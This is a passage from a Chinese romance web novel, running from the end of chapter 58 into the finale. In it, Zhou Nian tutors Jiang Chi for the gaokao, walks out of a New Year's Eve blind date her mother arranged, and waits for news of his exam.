他垂着眼眸,安静地凝望那张睡熟的脸,看久了竟觉得面前的一切都不真实,更像是他临死前幻想的一场梦。 周念在朦胧中醒来,周身被温热的重量包裹。她刚一动弹,颈侧传来的呼吸声陡然加重。她侧身看着面前这张沉睡的脸,回想起来从前,都不敢仔细地端详他的脸,就怕自己一时鬼迷心窍陷得太深。可谁成想,没好好看过,照样深陷其中。 从前听人说过,爱是自由意识的沉沦,那时不以为然,而今,回旋镖却精准地扎向自己。 思绪刚发散开,江池就醒了,醒来看到周念不加掩饰地目光,忍不住倾身过去在她唇上轻轻一触。 在她愣怔的一瞬,漫不经心地戏谑。 “你的床呢?等了一天了,也没见来。” “”周念:“没货了,又不是我不让他来。” 江池笑笑:“真没货还是假没货?” 周念肯定道:“真没货。” 某人鼻腔轻嗤一声:“那谁知道,无凭无据的。” 周念顿了顿,被他这副表情逗得‘咯咯’直乐。 等安静下来,四目相对像是有好多话却不知从何说起,江池用手轻抚过她的脸颊。 “周念,你骗我骗得好惨。” “对不起。” “这些年,有没有想过我?” “如果我不想你,怎么会在听到你消息的第一天就决定要回来。” 周念忽然伸手去拽他的袖口。 “我想看看那道疤痕。” 江池稍稍使力,没让她轻易得逞:“没什么好看的。” 说完,看到周念骤然变红的眼睛,又无奈地叹了声,手一伸,袖口落下,那条狰狞的疤痕赤裸裸地暴露在空气里。 “吓人吧。” 周念的眼泪几乎是瞬间落下的,从脸颊顺着耳廓打湿在枕头上,她轻轻地说:“很痛吧。” “好好地哭什么,人又没死。” 江池笑着帮她擦眼泪,擦着擦着,心里莫名难受。 “还好没死,不然就看不到你为我哭唧唧的样子了。” 第59章 第59章不认识,你心…… 窗外天光暗淡,夜风搅起叶浪,婆娑声透过窗户缝隙丝丝缕缕地传进屋内。 周念坐起身,将凌乱的头发用头绳重新束好。她双脚尚未触地,腰际就被一只有力的手揽回床头。 她小声嗔怪:“江池?” 江池盘腿坐在床上,有一下没一下撩拨她的衣角,看她的眼神不甚清白,看得她混不自在。 周念学他的样子,盘坐在床上,绷紧脸蛋,浅皱眉头,认真道。 “江同学,周老师是来督促你学习的,请你端正态度。” 江池手肘顶着大腿拖着腮,仍是一副玩世不恭的模样。 “周老师那么敬业,我是不是应该交点学费?” 周念下意识地咽了口气,躲开面前那道炙热的目光,看向窗外,半晌回过头来,江池还是那副样子,似乎执意要个回答。 “你的成绩就是老师最好的回报。” 江池继续逗她:“那怎么够?您那么幸苦,我也得使点力吧。” “” 房门外一阵‘卡擦’声,是钥匙转动锁孔的声音。 屋内两人默契地对了眼,江池收敛起那副漫不经心的散漫样,下床后,摸了摸周念的头发安抚道。 “应该是阿明他们。” 周念意图下床,发现鞋子还在门外。 江池用被子掩住她的脚。 “我帮你拿。” 徐明领着三五个人闹哄哄地进了门。 “阿池,你们家楼下那家烧烤真热闹啊,等了大半个小时才买了这堆东西。” “就是,早知道点外卖了。” “吃日料也行。” 江池‘嗯’了声算是回应,只见他走到沙发前,弯腰捡起一双女士拖鞋。宋佳月眼尖,看拖鞋的尺寸和款式就猜到这鞋应该是周念的。 回房间时,江池停下来,问了句。 “你们怎么突然来了?” 宋佳月没好气地翻了个白眼,语气刻薄:“看看你死没死。” 江池冷笑一声:“让你失望了。” 说完,径直回了房间。 徐明瞧见两人不对付,顶着一头雾水反问宋佳月:“怎么啦?火气那么大。” 宋佳月瞥了眼玄关的大箱子,视线又落向江池房间。 “周念来了。” 一行人脸色登时难看起来。 穿完鞋,周念去浴室整了整头发和衣服,江池就虚靠在门框上看她心不在焉地动作。 “我记得有些东西没带过来,我现在回家去取。” 江池握住她的手臂,低下头问,语气很轻:“现在轮到你怕了?” “不是怕。”周念提了口气,口吻中带着点无奈:“是不想扫大家的兴。” 江池的手顺着她的手臂垂落,牵住她的手。 “这是我家,扫不扫兴我说了算,没人敢为难你,出去吧。” 江池是牵住周念的手出的门,换做是别人,早应该起哄和玩笑,可她偏偏就是周念。几个人尴尬地站也不是,坐也不是,都后悔吃饱了撑着来这里给自己添堵。 倒是徐明像什么都没发生,自然地招呼大家坐下:“快快快,张罗起来,你们都不饿吗,我都快饿死了。” 几个人围着一张桌子,各怀心事地吃完了饭,除了徐明,大家都借口提前离开。 徐明有点心疼地看着桌上剩下的大堆烤串,随后偏头看向周念。 “还吃吗?不吃我打包了。” 周念摇摇头,起身道:“我去给你拿个干净的盒子。” “不用。”他从中挑出几根空竹签,用原先的泡沫盒包住,捆进塑料袋,等他一系列动作做完,江池才说:“阿明,我有话跟你说。” 徐明扬了扬下巴,冲着阳台说道:“点一根?” 江池眼尾不经意扫过周念,但看她没反对,随后冲徐明点了点头。 阳台要经过江池的卧室,徐明经过卧室时,目光不自觉被那张褶皱的床单吸引,随即挑眉看向江池,意味不明地笑了笑。 冬天的夜风,阴冷刺骨无孔不入,走到阳台,徐明下意识打了个冷颤。 两人各自点了根烟,江池的烟夹在指间,火星在夜风里明明灭灭。 徐明朝屋 内努努嘴:“看这架势,她是搬过来了?” “嗯。”江池伸手,手指勾起:“钥匙还我。” “嘶。”徐明登时郁结于胸:“你还是不是男人,兄弟是手足,女人才是衣服!” 江池反呛他:“你都三头六臂裸奔二十几年了,少说点这种话吧。” 徐明想反驳,又怕一语成谶真找不到对象,转而言他。 “得了,劝不住你。”他吸了口烟:“不过周念什么打算,她迟早得去北城吧,不会又是耍你两个月就走了吧。” 江池的烟燃到一半,才衔进嘴里,吸一口。 “她让我参加高考。” 徐明脱口而出:“好事!” 徐明走后,屋内彻底清净。 周念拿出笔记本电脑,打算先忙一阵自己的事情再帮江池熟悉课本。她把高一至高三的数学课本以及笔记本挑拣出来,放在桌上,又从中选了高一数学和对应的笔记本推至江池面前。 “趁我还在银城,从最难的开始,你先自己熟悉一下。” 江池抵着椅背,随手翻了几页课本,除了书本的内容全是周念密密麻麻的笔记,她笔记工整,字迹隽秀,还会在原基础上发散思维,写下多重解法。 江池只粗粗扫了一眼,目光便游移到她脸上:“周老师,这是数学书还是催眠书。” 周念目不转睛地盯着电脑屏幕上的文献资料,嘴里默念完一段文字,视线才慢慢转向他,她不言不语,用沉默逼他妥协。 江同学无奈地点了点头,继续翻看书本。他的基础和记忆都还不错,看了原题的解析配合着周念的笔记很快就能理解题意。但耐心有限,看了半个小时,眼睛开始发酸。他用力眨了眨眼,开始去翻周念的笔记本。 笔记本随意一翻,入眼的话使他陡然一顿。 ——我要离开银城!!! 后面跟着三个标粗的感叹号。 江池侧眸望向周念,不明白她执意离开的原因,却清楚是什么让曾毅然决然离去的她,再度回到这个厌恶之地。 没能重新进入状态,江池又百无聊赖地翻动起桌上其他的笔记本,里面全是周念一笔一笔记录的心血,是这些数字和公式铺就了一条通往首府大学的路。 就在他打算合上笔记本时,其中两页的内容让他倏然一怔。 整整两页纸被一个大大的叉覆盖,间隙里密密麻麻地写着“江池”二字,在这两个字迹里穿插着“忘掉”二字。一下子让这段近乎疯狂的思念彻底袒露在江池面前。 遗憾,惊喜,庆幸,多种情绪在心头绕成一股结。江池嘴角勾起一抹好看的弧度,他平复了会儿心情,将笔记本轻轻扔在周念面前。 “周老师,解释一下,这是什么?” 视线从电脑屏幕移向笔记本,周念短暂一愣,只说:“江同学,不认识字吗?” 江池摇头:“不认识,你心上人啊?” 周念一秒破功笑了出来。 江池继续追问:“说啊,说来我听听,万一认识呢。” 周念没再理他,怕自己当时在笔记本上胡乱写了些什么,于是放下电脑,一本一本地翻看当时的笔记,所幸,只留了这么两页。 两人用了一个晚上时间来梳理高一数学上学期的知识点,江池不是坐得住的人,偶尔会开小差,偶尔岔开话题逗逗周念,都被周念威胁着回归正题。 梳理完已经是凌晨,时针走过12点。 周念让江池继续消化,自己则从箱子里挑出睡衣和洗漱用品准备洗漱,然而客厅的厕所里并没有淋浴设备。 江池余光瞥见她的无措:“洗澡去我房间。” 周念抱着睡衣僵在原地,心想每次洗澡都要去江池房间未免有些麻烦。 江池看出她心中所想:“以后你住我房间,我去边上住。” 说完,不知道想到什么,没由来地闷笑一声,视线黏在周念脸上。 “一起住也不是不行。” 周念权当没听见,低着脑袋,走向江池房间。她轻轻地合上门,稍作犹豫后,‘啪哒’一声上了锁。 门外某人听到声音,下意识看了过来,眉峰骤然压下一片阴翳。 半个小时后,周念对着镜子扯了扯珊瑚绒睡衣的领口,真丝睡裙被裹得严严实实,活像只裹着棉花的蚕蛹。吹风机的嗡鸣渐止,她走到门边,轻轻地扭动门锁,簧片轻响的瞬间,门板突然被一股力道往前推。 门缝里挤进一只骨节分明的手,熟稔地掠过墙面,“啪”地掐灭了室内灯光。屋内遁入黑暗,只有客厅的暖光从门缝漏成一道薄纱。 江池的影子先挤进门缝。 他慢慢推开门,硬逼着她往后退。那双惯常散漫的眼睛此刻亮得惊人,眼底翻涌的暗流混着呼吸间的灼热,将她困在门与墙的夹角里。 周念无意识地提了口气。 江池走进门,反手将门一推,将本就所剩无几地光束隔绝在外。 暗中,有他漫不经心地质问。 “为什么上锁?” 周念摸着墙壁侧过身,慢慢后退,张了张嘴又不是该如何解释。 “防着我呢?” 周念脱口而出:“没有。” 那抹剪影,不断逼近。 “没有吗?” 周念底气不足,声音渐渐小下去。 “没有。” 退至最后,周念后腰轻轻磕在椅背上,椅腿在地面拖出刺耳的锐响。她踉跄着扶住桌沿,这才惊觉椅背早已抵死身后的书桌,无路可退了。 可那抹剪影已经完完全全将自己笼罩在身下。 “江池!” 话音未落,腰际被人轻轻一托,周念突然失重,随即落到实处,桌面的阴冷隔着真丝布料蔓延至大腿。江池的影子随之压下来,双手撑在她身侧的桌面,将她整个禁锢在自己的地界。 他低垂头颅,尝试平视她的眼睛。 “你住进来之前就没想过吗?” 周念嗅到危险的气息,双手一撑蹬桌要逃,惯性却撞进他胸膛,又被揽腰按回原处,像只投怀的蝶跌进更深的潮热的桎梏。 “江池,你放我下来!” 江池自然不会理会她的要求,而是用手扯了扯她的珊瑚绒睡衣的纽扣。 “谁睡觉穿那么多?” 周念下意识握住纽扣,放低了语气。 “我们还没到这一步。” “没到哪一步?你以为我是圣人,朝思暮想的女人在我面前晃悠,指望我清心寡欲?” “你听我说” 尾音未散,只觉后颈被温热的手掌托住,江池的吻便压了下来。攥着纽扣的手被他擒住扯开,珊瑚绒睡衣在他掌下如轻纱薄羽发出细碎的撕裂声,三颗纽扣接连崩落,顺着桌角滚进阴影里。 他舌尖碾过她紧咬的贝齿,手掌却反常地轻,沿着她绷紧的脊背一寸寸往上,像在安抚一只炸毛的小兽。 江池的呼吸愈发沉重,周念忽然觉得太阳穴突突地跳。某个瞬间,只觉得整个人被拦腰抱起,臂弯紧实的肌肉硌着腰侧,像座发烫的山。等她回过神,身体已经陷进褶皱的床单里。 她眼睁睁看着他的影子覆上来,浴室里漏出的微光,将他的眸光悉数照尽。明明烫得人发慌,却在掠过她惊恐的眼睛时,硬生生往下压了压喉结。 他稍稍恢复神志,刻意压制气息,凝视她的眼睛。 “害怕了?” “嗯。” “周念,我想要你。” 周念颤抖着气息,看着他的眼睛。 “江池,你想好了吗?” “什么?” 她的眼神逐渐镇定,口吻也异常平静。 “关于那些流 言蜚语,关于你母亲的死,所有的所有,你都能咬碎牙关否认与我相关的因果吗?” 闻言,江池脑袋一沉,陷进她的颈窝,耳边又是她温柔坚定的话语。 “江池,我不希望我们的感情稀里糊涂的开始,不明不白的结束,我要你毫不犹豫,义无反顾地走向我。” “你做得到吗?” 周念感到颈侧突然漫过一片潮凉,江池将她紧紧搂住,没给答案。 “没关系,时间还长,我不要你一时冲动的答案。这次换我等你,多久都行。” 无尽的沉默中,江池终于开口。 “好。” 第60章 第60章这场相亲我也是才被告知…… 转眼便是大年三十,周念终究还是要回家与家人团聚。 街道上店铺闭门,行人寥寥,枯枝残叶间的排排红灯笼显得有些格格不入。 宽广的马路上,来去车辆屈指可数。 周念窝在副驾驶座上,透过室内后视镜观察江池的表情,可他面色如常,找不出一丝试图挽留的迹象。 “砂锅里有炖好的鸡汤,一会儿把虾去头去线放点葱姜蒸一下,冰箱底下有捆青菜,取出来炒着吃。”周念暗忖着是否还有遗漏:“对了,鱼你会杀吗?” 江池打转向的时候笑了笑。 “厨房我比你清楚,而且我一个人吃得了那么多吗。” 他语气轻松反倒叫周念心疼,单单两句话又让气氛陷入死寂。 江池观察着四周车流,余光却留意着身侧,那句‘今晚还回来吗?’终究没说出口。过去几年他都是独自过年,偶尔被亲戚朋友邀请,但性格使然,一个人反而落得自在。 可人性贪婪,拥有过便舍不得回到过去。 他私心周念能留在自己身边,但也知道这是奢求。 手机在大衣口袋振动,周念慢条斯理地取出手机,接通叶琳的来电。 “小念,我妈说今晚我们两家一起吃年夜饭。” 照理两家人还没交好到一起过年的情分,但周念懒得细究,只顺着叶琳兴奋的口吻回。 “是吗?那很好啊。” “你想吃什么,我一会儿去买。” “都行。” “酒喝吗?上次妙妙男朋友给带的梅子酒没喝完。” “我不会喝酒。” “又不斗酒,微醺一下嘛。” “可以。” 挂完电话,车子已经驶入弄堂,江池把车停在距离周念家几十米的马路上。他率先打发人:“还舍不得走?” 周念将大衣拢了拢:“车里暖和。” 清楚她口是心非,江池继续赶人。 “走吧,我一会儿去阿明家过,总不能空手去,去晚了超市都关门了。” 周念这才下车。 回到家,周念在玄关换鞋时,眼尾扫过茶几上堆成小山的水果零食,张宁听到动静,从出厨房探头张望。 “回来了?” “嗯。” “你们组也真是的,大过年的还不舍得放人。”张宁抱怨了几句,迟迟等不来反应,便转了话题:“一会儿有客人要来。” 周念换完鞋,走至餐桌前,捡了个草莓,咬下草莓尖。 “是叶阿姨一家吗?” “是啊。” “今年怎么想着跟叶阿姨家一起过。” 张宁把不常用的茶具取出,慢慢清洗。 “不好吗?你跟琳琳一起也热闹。” 吃完草莓,周念又在琳琅满目的零食上扫视着,最终也没选出合口味的。 “挺好的,妈,需要帮忙吗?” “不用,今晚年夜饭直接跟酒店预订了,到时候送来,省得我费心。” 无事可做,周念干脆上楼歇觉。这些天给江池补课,她每天都熬到凌晨,本想小睡一会儿,不想竟睡得昏天黑地,醒来时窗外已泛天青色。 江池的电话来得正好,既没打扰她休息,又打发了醒后的空闲时光。周念没起身,侧卧着将手机举到耳边:“怎么了?” “想听听你的声音。” 那头声音空旷,不像在室内。 “你在哪儿?到徐明家了吗?” “还没,买东西耽搁会儿。” 不知为何,从他平淡的语气里听出一丝寂寥。周念侧身面朝墙,手机随之挪到左耳旁。 “我今晚回去陪你。” 那头静了秒,接着说:“不用,阿明他们不一定放我走。” 一阵突兀的开锁声从门外传来,所幸门被周念反锁。张宁在门外没好气地嘟囔:“自己家里锁什么门呀。” 周念捂着话筒快速说道:“我先挂了,一会儿说。” “嗯。” 周念挂断电话,趿踏着拖鞋,不紧不慢地起身开门。 张宁侧身进门,视线在屋内快速游移,最终落在被褥上的手机。 “跟谁打电话呢?还关门。” “大学室友,拜年呢。” 张宁听罢,态度有所好转,只身来到衣柜前,从里面取出一个衣架,衣架上挂着一条黑色低领连衣裙。 她满意地扫视着裙子,将它递给周念:“一会儿有客人来,你就穿这个,大大方方的,好看。” 早料到今天不会只有叶琳一家客人,或许这顿饭的意义并不止于团圆,而是别有目的。只是这种未经同意就被通知的行为让周念心生反感。 她将衣服随意扔在床上,冷冷道:“太单薄了,容易感冒。” 张宁又将衣服捡起,取下衣架,递到她手里:“外头再套件大衣就行了。” 是不容置喙的口吻,下楼前,张宁又回头叮咛:“涂点口红,显气色。” ** 送走周念后,江池没即刻离开,而是百无聊赖地点了根烟。哪有什么徐明的邀约?不过是怕她大年夜心不在焉胡思乱想,才随口扯的谎。 点完烟,他毫无目的地驾车转了一圈又一圈,最终回到了那个路口。 在车里小憩一会儿,又终于忍不住给周念打去电话。 今年除夕的天气不错,和风旭日,可过了五点,银城的天就会即刻变脸,阴沉沉地暗下来。 江池坐在驾驶室无所事事地把玩着打火机,一簇幽蓝火苗明明灭灭。 目光却一直停留在那座小洋楼上,正当他打算移开视线时,一辆白色小轿车由远及近驶进那条弄堂,停在洋楼几米开外。 最先从车身阴影里钻出来的,是个身着衬衫的男人,估摸二十五岁上下,个头不高,相貌平平,没有任何记忆点。他走去开后车门,紧接着一男一女下了车,两人穿着得体,鬓边发灰,看模样应该是男人的父母。 男人从后备箱取了些礼品,便引着身后的男女一同走近小洋楼。 三人在弄堂口站定,他仰头辨认门牌号,最终敲响了周念家的门。 开门的是周宏伟,只见他站在门口与之寒暄两句,即刻将几人引进家门。 大门将江池的视线隔绝在外,他才收回目光,垂眸看向打火机,他无端地想着,刚才那个穿衬衫的男人应该有一份体面的工作和美满的家庭。 周念是被张宁催促着下了楼,她没按张宁的要求乖乖穿上那条连衣裙,而是随意地披了件棉睡衣。张宁见到她下楼时,整张脸登时拉了下来,但有客人在,她不好发作,只得笑盈盈地将周念推至陈树面前。 “真不好意思,让你们见笑了,念念比较忙,这不刚睡醒,连衣服都忘换了。” 陈树倒不介意,反而颇有风度地帮腔:“哪里,团圆饭本就应该随意点。我看这样就挺好。” 说完,伸出手。 “你好,我叫陈树。” 周念虽不喜欢像提线木偶一样被操控,但基本的礼数不敢懈怠。 她伸手去握:“你好,叫我周念就行。” 说完,张宁又推着她走到陈树父母面前:“叫叔叔阿姨。” 周念礼貌颔首:“叔叔阿姨,你们好。” 面前两人用审视的目光端详着周念,最后相视点头,陈母才说:“念念是吧,我听你叶阿姨说,你是个从小到大都让父母很省心的孩子。” 周念蜷了蜷手指,并不想多做回应, 所幸这时门又响了。 这次换周念去开门,门一开,叶琳就一脸歉意黏了上来,低声道:“对不起呀,我不知道我妈还来这出。” 周念面色如常:“没关系,迟早的事。” 三家人聚齐,相互寒暄,攀谈了会儿刚好就是饭点。于是,周宏伟邀请大家一一落座。 叶琳眼疾手快抢先坐下,随后伸手揽住周念的手:“小念,我要跟你坐。” 叶硕适时瞟去白眼:“那么大了还不懂事。”转眼,又笑着牵过周念的手,将她按在陈树身边的座位上。 “两个年轻人坐在一起方便说话,正好交流一下感情。” 即已坐定,周念也不好再换位置,免得弄得大家难堪。 余温褪尽,银城的夜较白天又低了十几度,江池依着车门点了根烟,抽到一半,脚步不自觉地拐向熟悉的巷子,不知不觉已在周念家门前驻足,她家的餐桌靠着一整面落地窗,暖黄的灯光透过玻璃,在周围的灌木上晕染出细碎的光斑。 江池平静地盯视着周念,转而又看向她旁边的男人,了然般无奈笑笑,他踢了脚路边的小石子,手机在口袋里反复摸索,最终忍不住给周念发了微信。 ——吃了吗? 周念看到微信,唇角不经意勾起。 ——嗯,在吃,你呢? ——吃完了。 ——那么快? ——也不饿。 “对了,我拿了酒来,小念,我俩喝点?”叶琳侧身从桌边地上取出一桶由矿泉水瓶装的黄色液体。 “妙妙朋友托人带的,土方子酿的,好喝。” 说完,借着倒酒的契机在周念耳边低语:“这算什么怎么回事啊,气氛也太怪了。” 正说着,身侧的陈树端起酒杯问道:“我能尝尝吗?” 叶琳当即摇头:“不好意思哈,我可馋这一口了,就这些了,下次要有我给你带两瓶。” 说完,迎着叶硕狠狠的瞪视俏皮地吐了吐舌。 陈树风度不减,为免尴尬,自抛话题:“我也认识一些酿酒酿得不错的朋友,有机会也拿些来给大家尝尝。” 说罢,偏头看向周念,犹豫了秒,开口便是一声自来熟的‘小念’。 周念被叫得浑不自在,却也没露出半分嫌厌,只是礼貌地回敬他的目光。 “你对喝酒感兴趣?” 周念端起酒杯,若有所思地浅尝一口,然后点头。 果然,陈树父母脸上的笑容瞬间变得僵硬。 张宁留意到陈树父母的脸色,即刻切换话题。 “小陈的单位和我们家宏伟的单位挨得挺近吧。” 陈树思考片刻,目光转向张宁与周宏伟之间的空隙:“是的阿姨,我那单位跟周处长所在的教育局只隔了一条马路。” 周宏伟微笑着接话:“什么处长不处长,叫我周叔叔就行了。” “是,周叔叔,我敬您一杯。” 周宏伟虽有迟疑却仍端起酒杯。 “小陈能喝吗?你不是要开车。” “能喝能喝,敬您的酒怎么不能喝,一会儿我叫个代驾就行。” 周宏伟似乎对他的为人处事颇为满意,便露出欣慰的笑容。 周念抿了口酒,只觉席间无趣,低头给江池发微信。 ——什么时候来接我? 江池一愣,望向窗内的举酒杯的身影,明知故问打字。 ——吃完了? ——嗯。 ——不多待会儿? ——我想见你。 对话框里弹出四字,他看着“我想见你”忽然笑了,寒夜里的饥冷似乎都轻了几分,但他没告知实情,扯了个小谎。 ——阿明拉着我打牌呢,一时半会儿,过不来。 周念盯着屏幕双肩微垂,叹了口气,江池将她的小动作尽收眼底。 作为主人,张宁自然少不了夹菜,她将陈树的碗塞得满满当当。 “来小陈,多吃点。” 陈树双手端碗接过,嘴上却关切起身边人:“阿姨不用那么客气,倒是小念,看着太瘦了,应该多吃点。” 周念牵动唇角没有说话,张宁暗暗剜她一眼,又圆场道。 “别见怪,念念她从小就内敛,不知道怎么接话。” 见状,陈母接话道:“小念现在在读大三,以后什么打算。” 周念拨弄着面前的碗筷,不紧不慢地回答道:“有能力的话我想继续读硕读博。” “哦。”小陈母亲略显失望地拖了调子,追问道:“那就是一直会在北城咯。” 周念说:“嗯,是的。” 张宁用瓷碗盛了些鸡汤,端给陈树母亲,继而解释:“以后读完了还是会回来的。毕竟银城才是她的根基。你是不知道,我们念念什么都不行,唯独是块读书的料,往后几年用点功,硕博连读很快就能回来了。” 周念皮笑肉不笑地牵动嘴角,看向陈母说:“以后也不会回来。” 气氛到这降至冰点,场面一度尴尬。 为免持续尴尬,小陈打破寂静,转头询问周念:“小念平时有什么兴趣爱好吗?周末都是怎么过的?” 周念依旧是礼貌而疏离地回答:“我为人无趣,没什么爱好,再说实验室也挺忙的。” 周宏伟见状也忍不住皱眉,给周念抛去埋怨的眼神,他起身打起圆场:“实验室是忙,都没时间回家住,过了这阵子就好了。小陈呢,你有什么爱好吗?” 陈树也站起身,微微躬身:“其实我也比较忙,我这人比较木讷,但如果小念有什么喜欢做的事情,我倒是很乐意奉陪。” 周念面带微笑再次重复:“我没有爱好的。” 尽管周念温文尔雅礼貌应对每次盘问,但张宁看得出她在敷衍,甚至抗拒这次相亲。她起身离席,又给周念使了个眼色。 “念念,过来帮妈妈一个忙。” 周念双手垂在膝头,深吸一口气,胸线起伏一阵才慢慢地站立。 待她走进厨房,张宁反手扣死玻璃门,声音压得极低。 “我让你换裙子为什么不换?而且你刚刚都说了些什么?说什么再也不回银城,你是成心要在陈家人面前拆我的台?” “您叫我来,就是为了说这个?” 周念往后退半步,后腰抵在冰凉的台面上。 “没什么事,我就先出去了。” 周念的手指刚勾住把手,张宁的手就从斜后方抄来,不是扯,而是整个手掌扣住她手腕,像扣住一只试图撞向玻璃的麻雀,被生生拽回原地。 “你什么态度啊?” “没什么态度。” 对比起张宁咄咄逼人的架势,周念反而一如往常,淡漠道:“我说过,我不着急。” “什么叫你不着急,小陈人品好,事业好,家庭出身都不错。妈是为了你好,给你早点铺好路。” “什么是为了我好?一切都听你的,才叫为了我好吗?” 张宁只觉得太阳穴突突地痛,周念每句话都精准地踩在她神经上,气得她身体不由自主地颤动,但现在不是发作的时候,只能克制情绪,好生相劝。 “大过年的,我不想闹得太难看。一会儿出去你就好好地跟小陈说话,不要阴阳怪气,不要敷衍,真诚一点。” “听到没?嗯?” 她歪着脑袋去够周念低垂的目光,待周念缓缓抬起头直视她的眼睛一字一句地说道。 “妈,实话告诉你,我喜欢的一直都是江池。” “你疯了?” 张宁气得扶额,原地转了半圈:“你要不要听听你在说什么?” “没听清吗?”周念说:“那我再说一遍,除了江池,我谁也不要。” “谁都可以!” 张宁突然转身,指尖几乎要戳到周念的眉心。 “就他不行!” 周念镇定地望向她,语气中带着一丝轻蔑和笃定。 “您说了不算。” 两人无声地僵持在原地,这时门被敲响,是叶硕的声音。 “阿宁啊,那么久不出来,需不需要帮忙?” 张宁狠狠地剜过周念,在门前深呼吸,调整心态后笑着开门。 “不需要,不需要,我马上出去。” “好,我还以为有什么事呢。” “没有,没有。” 应付完叶硕,她又回头:“你站在这里反思一下,什么时候想明白了再出来。” 出门前,又顿足。 “至于江池,只要你妈我还有一口气在,你们两就没戏。” 对于张宁的所作所为,周念谈不上难过,只觉得有点压抑,像被人揪着心脏,每一次起伏都牵动脉络,扯得 生疼。 她垂眸走到水池前,无意识地打开水龙头,流水哗哗地往外冒,在池子里漫成小水洼,又被下一波水流冲走。 口袋里的手机微微一震。 思绪被牵回脑中,她打开手机,看到江池发来的‘怎么不开心?’时倏然抬头,看向窗外。 橘色光晕把对面马路切割成明暗相间的棋盘,江池就站在那束光的边缘,他歪头时,羽绒服领口蹭过下巴。唇形在路灯下格外清晰,每个音节都带着呵出的白气。 “吵架了?” 原本只是麻木,但看到他时,心底的委屈彻底爆发,她鼻头一酸,轻轻点了点头。 周念即刻拨通他的电话,两人隔着双层玻璃,听筒里的电流声混着远处烟花爆竹的鸣音,谁也没说话。 良久,周念才带着浓重的鼻音开口。 “没去徐明家吗?” 江池不想说谎,点了点头‘嗯’。 “外面不冷吗?” “有点。” “你等我,我马上来。” 一众人眼睁睁看着周念冲出厨房,小跑上楼,张宁尴尬地牵动唇角,解释说:“平时她不这样,做什么都轻手轻脚的,今天也不知道怎么回事,风风火火的。” 等她再次下楼时,身上已经穿上那件黑色连衣裙,外头又裹了大衣,连嘴唇都抹了口红。正当张宁以为她开窍时,只见她缓步走到陈树面前,对他礼貌的鞠了一躬。 “对不起,浪费你时间了,这场相亲我也是才被告知的。” 说完又踱步到叶硕面前。 “叶阿姨,太抱歉了,让您忙活半天,感情上的事,以后不用再帮我张罗了,我自己有合适的人选了。” 话毕,目光转向小陈父母,只见她微微颔首:“抱歉。” 叶琳眼看主位张宁和周宏伟的眼神不对劲,立刻起身拉住周念的胳膊,紧张道:“小念,你要去哪儿啊?” “别担心。” 周念将她的手从胳膊上拂去,正欲出门,后头传来周宏伟怒不可遏地质问:“你要去哪儿?” 周念没回头,伸手去拉门把手。 “周念!” 周宏伟暴怒:“你到底想做什么,你要是出了这个门,以后就别回来!” 周念定了定神,回头去看周宏伟,嘴边扬起一抹不易察觉的讥诮笑意:“最没资格说我的就是您。” 周宏伟一怔,不自觉踉跄后退,往事种种夹杂着心虚之感浮上心头,他慢慢移开视线,居然在与她的眼神对峙中败下阵来。 周念拉开门,冷空气灌进领口,她迎风吸了口气,马路对面的身影在呼出的白雾中逐渐明朗。 她小跑至对面,气息尚未平复,仰头看向江池。江池低头替她拂开被风吹乱的刘海,指尖掠过她的耳垂,最后用手掌温热她冰凉的脸蛋。 他垂下眼睑,挑眉道:“不吃了?” 周念没答话,只将手指探进他掌心,他立刻收拢五指,将她的手一并伸进口袋。 周念说:“我没吃饱。” 江池低笑一声:“那回家?” “嗯。” 大年夜,半个小时的路程,车辆恍如穿梭在异时空,几乎没有碰到什么车。 车子稳稳地停在单元楼楼下,路灯把枯枝影子烙在挡风玻璃上。江池熄火,发动机余音消散,他转头去看周念。而周念正皱着眉头,目不转睛地盯着他,眼底竟浮着一种说不清道不明的情愫。 江池:“怎么啦?” 周念没答话,安全带卡扣“咔嗒”松开的声响格外清脆,她膝盖抵着中控台,大衣纽扣拉链刮过换挡杆,在他喉结滚动的瞬间,整个人跌进他怀里。 江池的手掌下意识悬在她后腰。 “你一直都在我家楼下?” “嗯。” 江池的视线在她脸上轻轻逡巡,先是掠过她颤动的眼睫,接着滑过她的鼻尖,停在微张的唇上。 下一秒,她鼻尖已抵住他,梅子酒气混着凉意涌进呼吸。【你现在阅读的是魔蝎小说 moxiexs】 第61章【结局】 第61章 第61章结局 项目进展很顺利,实验数据反复核实后没有偏差,领导班子直接宣布提前两周完成项目,周念再没借口留下,不得不提前返回北城。 她走的那天,是周宏伟和张宁前去送行的。 亲人之间的争执总会在一方妥协之后结束,自那天起,张宁不再过问她的感情,也没有特意提及江池。 那天江池也去了机场,他比周念提前到达,从头到尾都没有下车,只是将车停靠在航站楼边上,为的仅仅是远远地看一眼。 接下来,日子照常,江池请了知名教师一对一辅导,没日没夜地学习,过着大门不出,二门不迈的日子。 前几个月,两人会天天通话,都是些不痛不痒无关紧要的废话。也有几次,江池会突然沉默,周念察觉到了他的情绪,她总会像给小猫顺毛一样安慰几句。这让江池很受用,一天的倦意也随之消散。 每个节假日前夕,江池提出想来北城,都被周念以课业忙为由拒绝。一来担心他来了难以收心,回到原状态会吃力;二来她要补本学期首月落下的功课;此外,她参与的几项科研项目正冲着拿奖和论文,实在抽不出时间陪他。 临近高考那几日,周念不敢再打扰他,把原先的视频电话都换成了寥寥几句微信文字,简短得近乎冷淡。 高考结束那天,宿舍里的话题始终围绕着考试打转。另外两人有一搭没一搭地聊着当年高考的情形,唯有周念静坐在桌前,目光呆滞地盯着手机。 “这天热得跟蒸笼似的,还好不是我考试,不然非得热得打瞌睡不可。”林薇薇把毛巾随意甩在肩头,端着脸盆从卫生间走向阳台,路过周念时往这边带了眼:“怎么啦?魂不守舍的?” 周念缓了缓神,点亮手机屏,依旧没有消息。 “没事。” 林薇薇将脸盆搁在窗台上,拿出洗净的牛仔裤,抖落水珠,挂上衣架。 “最近怎么没跟你小男友打电话啊。” 林薇薇对周念“小男友”的推测自有一套逻辑,凭借这段时间的观察,发现周念每晚会接到一个固定电话,偶尔几次听过电话那头传来低沉悦耳的男声,又频繁提及‘高考’、‘复习’诸如此类的词,所以笃定周念是恋爱了,而且是姐弟恋。 等等!高考! 她捕捉到重点词,顿时了然:“你男朋友这两天高考?” 江池的电话就是这个时候打来的。周念拿着手机,边接通边往阳台走。 “考完了?如何?” “嗯。” 江池拖了长音,漫不经心地回了句:“什么如何?” 周念鼻息有点重:“考得如何?” “不好说,这得问阅卷老师。” “” 当时林薇薇正一脸八卦地凑近手机偷听,江池这番没个正形的回答,直接把她逗得忍俊不禁。 周念咬了咬唇:“江池,好好说话!” 江池轻笑了声,老实交代:“能写的都写了,不能写的也蒙了。” 